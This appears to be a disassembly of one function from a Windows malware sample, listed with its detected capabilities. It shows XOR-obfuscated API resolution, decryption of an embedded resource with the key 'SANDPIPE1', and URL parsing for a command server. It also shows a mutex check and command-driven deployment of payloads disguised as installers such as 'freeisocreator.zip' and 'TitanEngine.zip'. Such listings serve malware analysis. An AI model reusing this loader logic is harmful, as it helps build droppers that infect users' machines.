Function at 0x406650
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Parse url
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1068
call fcn.00408020
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x407dd0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
jmp 0x406696
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.kernel32.dll
call esi
mov edi, eax
jmp 0x4066b7
push str.user32.dll
call esi
push str.MessageBoxTimeoutW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
jmp 0x4066df
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x260], 0
je 0x40687c
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x250]
cmp byte [ecx + 0x25e], 0
je 0x40673b
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x4a43a0]
movlps qword [eax], xmm0
xor dword [eax + 8], 0xe957ffa7
xor byte [eax + 0xc], 0x13
xor byte [eax + 0xd], 0x71
mov byte [eax + 0xe], 0
nop
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
jmp 0x406758
jmp 0x40676a
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x278], 0
je 0x4068de
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x268]
cmp byte [ecx + 0x275], 0
je 0x4067c2
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x4a43c0]
movlps qword [eax], xmm0
xor dword [eax + 8], 0xa10fc985
xor byte [eax + 0xc], 0xdd
mov byte [eax + 0xd], 0
nop
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
jmp 0x4067df
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x290], 0
je 0x406939
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x280]
cmp byte [ecx + 0x28f], 0
je 0x40683f
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x4a43e0]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x6debf5f7
xor byte [eax + 0xc], 0xd1
xor byte [eax + 0xd], 0x5d
xor byte [eax + 0xe], 0x6d
mov byte [eax + 0xf], 0
nop
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.FONTS
push 0x4ae130
push 0
call ebx
test eax, eax
jne 0x40697f
nop
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, 0xffffffff
add esp, 0x1068
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x260], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x25e], 1
movsd xmm0, qword [0x4a4390]
movsd qword [eax + 0x250], xmm0
mov dword [eax + 0x258], 0x8c348dd2
mov word [eax + 0x25c], 0x7144
push 0x407be0
call fcn.00407fab
add esp, 4
jmp 0x4066fb
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x278], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
movsd xmm0, qword [str.n]
movsd qword [eax + 0x268], xmm0
mov dword [eax + 0x270], 0xc46cbbf0
mov word [eax + 0x274], 0x1dd
push 0x407c20
call fcn.00407fab
add esp, 4
jmp 0x406786
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x290], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
movaps xmm0, xmmword [0x4a43d0]
movaps xmmword [eax + 0x280], xmm0
push 0x407c60
call fcn.00407fab
add esp, 4
jmp 0x4067fb
mov ebx, eax
push eax
push 0
call esi
mov esi, eax
push ebx
push 0
call edi
mov dword [0x4c2d28], eax
sub esp, 0x18
movaps xmm0, xmmword [0x4a4300]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], 0x4ae12a
mov dword [esp], 0
call dword [ebp - 0x24]
mov eax, dword [0x4c2d28]
inc eax
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
push 0x40
call edi
mov ebx, eax
mov dword [ebp - 0x34], eax
mov eax, dword [0x4c2d28]
inc eax
push eax
push 0x40
call edi
mov dword [0x4c2d24], eax
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [0x4c2d28]
push eax
mov dword [ebp - 0x20], ebx
push ebx
call fcn.00481d80
add esp, 0xc
mov eax, dword [0x4c2d28]
mov dword [ebp - 0x2c], eax
test eax, eax
jle 0x406ab4
mov eax, dword [0x4c2d24]
mov dword [ebp - 0x28], eax
xor ecx, ecx
cmp dword [ebp - 0x2c], 1
je 0x406a7c
mov eax, dword [ebp - 0x2c]
and eax, 0xfffffffe
mov dword [ebp - 0x38], eax
xor ecx, ecx
mov esi, 1
nop word cs:[eax + eax]
mov eax, esi
mov edi, 0x38e38e39
mul edi
mov ebx, edx
mov eax, ecx
mul edi
shr edx, 1
lea eax, [edx + edx*8]
neg eax
movzx eax, byte [ecx + eax + str.SANDPIPE1]
mov edi, dword [ebp - 0x20]
xor al, byte [edi + ecx]
mov edx, dword [ebp - 0x28]
mov byte [edx + ecx], al
shr ebx, 1
lea eax, [ebx + ebx*8]
neg eax
movzx eax, byte [ecx + eax + 0x4a4113]
xor al, byte [edi + ecx + 1]
mov byte [edx + ecx + 1], al
add ecx, 2
add esi, 2
cmp dword [ebp - 0x38], ecx
jne 0x406a30
mov esi, dword [ebp - 0x28]
test byte [ebp - 0x2c], 1
je 0x406aa6
mov edx, 0x38e38e39
mov eax, ecx
mul edx
shr edx, 1
lea eax, [edx + edx*8]
neg eax
movzx eax, byte [ecx + eax + str.SANDPIPE1]
mov edx, dword [ebp - 0x20]
xor al, byte [edx + ecx]
mov byte [esi + ecx], al
nop
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], 0xffffffff
nop
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xorps xmm0, xmm0
movups xmmword [ebp - 0x68], xmm0
movups xmmword [ebp - 0x58], xmm0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x74], 0x3c
push 0x200
push 0
push 0x4c2d2c
call fcn.00482300
add esp, 0xc
mov dword [ebp - 0x70], 0x4c2d2c
mov dword [ebp - 0x6c], 0x200
push 0x200
push 0
push 0x4c2f2c
call fcn.00482300
add esp, 0xc
mov dword [ebp - 0x64], 0x4c2f2c
mov dword [ebp - 0x60], 0x200
push 0x200
push 0
push 0x4c312c
call fcn.00482300
add esp, 0xc
mov dword [ebp - 0x48], 0x4c312c
mov dword [ebp - 0x44], 0x200
jmp 0x406b4c
mov eax, dword [0x4c2d24]
add eax, 0x2c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x4c2d24]
add ecx, 0x2c
lea edx, [ebp - 0x74]
push edx
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
jmp 0x406b84
push 0x200
push 0
push 0x4c332c
call fcn.00482300
add esp, 0xc
push 0x4c312c
push 0x4c332c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x34]
push eax
push 0x4add3e
push 0x4c332c
call fcn.00495b63
sub esp, 0xc
movaps xmm0, xmmword [0x4a4300]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], 0x4ae12a
mov dword [esp], 0
call dword [ebp - 0x24]
push 0x2000
push 0x4c3534
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x4c2d24]
add eax, 4
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, eax
jmp 0x406c15
test ecx, ecx
jne 0x406c22
nop
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
call fcn.004910ae
add esp, 4
push eax
call fcn.00494f5e
add esp, 4
jmp 0x406c47
call fcn.00404280
call fcn.004030e0
call fcn.00403640
push dword [0x4c5540]
call fcn.0049403a
add esp, 4
push dword [0x4c5544]
call fcn.0049403a
add esp, 4
push dword [0x4c554c]
call fcn.0049403a
add esp, 4
push dword [0x4c5550]
call fcn.0049403a
add esp, 4
push dword [0x4c5554]
call fcn.0049403a
add esp, 4
push dword [0x4c5558]
call fcn.0049403a
add esp, 4
call fcn.00405d50
push 3
call fcn.0040d090
sub esp, 0x14
movaps xmm0, xmmword [0x4a4300]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], 0x4ae12a
mov dword [esp], 0
call dword [ebp - 0x24]
call fcn.004085a0
mov dword [ebp - 0x20], eax
mov esi, dword [0x4c553c]
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x29c], 0
je 0x4071bf
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x294]
cmp byte [ecx + 0x299], 0
je 0x406d2e
xor dword [eax], 0x9f51e7fd
xor byte [eax + 4], 0x3f
mov byte [eax + 5], 0
nop
push esi
push eax
push dword [ebp - 0x20]
call fcn.00408740
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x2a8], 0
je 0x40720a
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x2a0]
cmp byte [ecx + 0x2a7], 0
je 0x406d8a
xor dword [eax], 0xc5d7d1db
xor byte [eax + 4], 0xcd
xor byte [eax + 5], 0x3f
xor byte [eax + 6], 0x89
mov byte [eax + 7], 0
nop
push 0x3ff00000
push 0
push eax
push dword [ebp - 0x20]
call fcn.00408680
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x2b4], 0
je 0x407252
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x2ac]
cmp byte [ecx + 0x2b0], 0
je 0x406de0
xor dword [eax], 0xdf4ff7e1
mov byte [eax + 4], 0
nop
push 0x40100000
push 0
push eax
push dword [ebp - 0x20]
call fcn.00408680
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
lea eax, [eax + 0x2b8]
mov dword [ebp - 0x28], eax
jmp 0x406ee0
push str.Deploy_2
call esi
push 0
lea edi, [ebp - 0x30]
push edi
push eax
push str.Deploy_2
push dword [0x4c9570]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
push 0x4add73
call esi
push 0
push edi
push eax
push 0x4add73
push dword [0x4c9570]
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 2
mov dword [esp + 8], str.Client_Interface
mov dword [esp], str.mpclient.zip
call fcn.00404c20
add esp, 0x10
jmp 0x406e7d
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x406e98
jmp 0x406eaa
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406ec7
push dword [0x4c9570]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.debug_log.txt
call fcn.00401330
add esp, 4
sub esp, 0x1c
movaps xmm0, xmmword [0x4a4400]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp], 0x4add76
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x4c9570], eax
cmp dword [0x4c5538], 0
jne 0x406f1f
call fcn.00405ac0
nop
mov ebx, dword [ebp - 0x20]
push ebx
call fcn.00408420
push eax
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call edi
mov esi, eax
push ebx
call fcn.00408420
push esi
push eax
call section..text
add esp, 8
mov dword [ebp - 0x24], eax
push eax
call edi
mov esi, eax
add esi, 0x100
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x2c4], 0
je 0x407170
nop
mov eax, dword [ebp - 0x28]
cmp byte [eax + 8], 0
je 0x406f95
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x4a4420]
movlps qword [eax], xmm0
mov byte [eax + 8], 0
nop
push dword [ebp - 0x24]
push eax
push esi
push ebx
call fcn.004035d0
add esp, 0x10
push 0x1000
push 0
lea edi, [ebp - 0x1074]
push edi
mov esi, edi
call fcn.00482300
add esp, 0xc
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call edi
push 0x1000
push esi
push eax
push ebx
call fcn.00401400
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push str.Client:
call edi
push 0
lea ebx, [ebp - 0x30]
push ebx
push eax
push str.Client:
push dword [0x4c9570]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
mov esi, dword [0x4c2d24]
mov eax, 0x2ec
add esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push ebx
push eax
push esi
push dword [0x4c9570]
call edi
push 0x4add73
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
push 0
push ebx
push eax
push 0x4add73
push dword [0x4c9570]
call edi
push str.Data_RECV:
call esi
push 0
push ebx
push eax
push str.Data_RECV:
push dword [0x4c9570]
call edi
lea edi, [ebp - 0x1074]
push edi
call esi
push 0
push ebx
push eax
push edi
push dword [0x4c9570]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
push 0x4add73
call esi
push 0
push ebx
push eax
push 0x4add73
push dword [0x4c9570]
call edi
movzx eax, byte [ebp - 0x1074]
cmp eax, 0x33
je 0x407110
cmp eax, 0x32
je 0x406e10
cmp eax, 0x31
jne 0x406e6b
push str.Deploy_1
call esi
push 0
lea edi, [ebp - 0x30]
push edi
push eax
push str.Deploy_1
push dword [0x4c9570]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
push 0x4add73
call esi
push 0
push edi
push eax
push 0x4add73
push dword [0x4c9570]
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 1
mov dword [esp + 8], str.Free_ISO_Creator_Setup
mov dword [esp], str.freeisocreator.zip
call fcn.00404c20
add esp, 0x10
jmp 0x406e6b
push str.Deploy_3
call esi
push 0
lea edi, [ebp - 0x30]
push edi
push eax
push str.Deploy_3
push dword [0x4c9570]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
push 0x4add73
call esi
push 0
push edi
push eax
push 0x4add73
push dword [0x4c9570]
call ebx
sub esp, 0x10
mov dword [esp + 0xc], 3
mov dword [esp + 8], str.TitanEngine
mov dword [esp], str.TitanEngine.zip
call fcn.00404c20
add esp, 0x10
jmp 0x406e6b
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x2c4], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x2c0], 1
movsd xmm0, qword [0x4a4410]
movsd qword [eax + 0x2b8], xmm0
push 0x407d20
call fcn.00407fab
add esp, 4
jmp 0x406f79
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x29c], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 0x294], 0xfb389095
mov word [eax + 0x298], 0x13f
push 0x407ca0
call fcn.00407fab
add esp, 4
jmp 0x406d01
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x2a8], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
movsd xmm0, qword [0x4a43f0]
movsd qword [eax + 0x2a0], xmm0
push 0x407cd0
call fcn.00407fab
add esp, 4
jmp 0x406d55
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x2b4], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x2b0], 1
mov dword [eax + 0x2ac], 0xdf3d9297
push 0x407d00
call fcn.00407fab
add esp, 4
jmp 0x406db7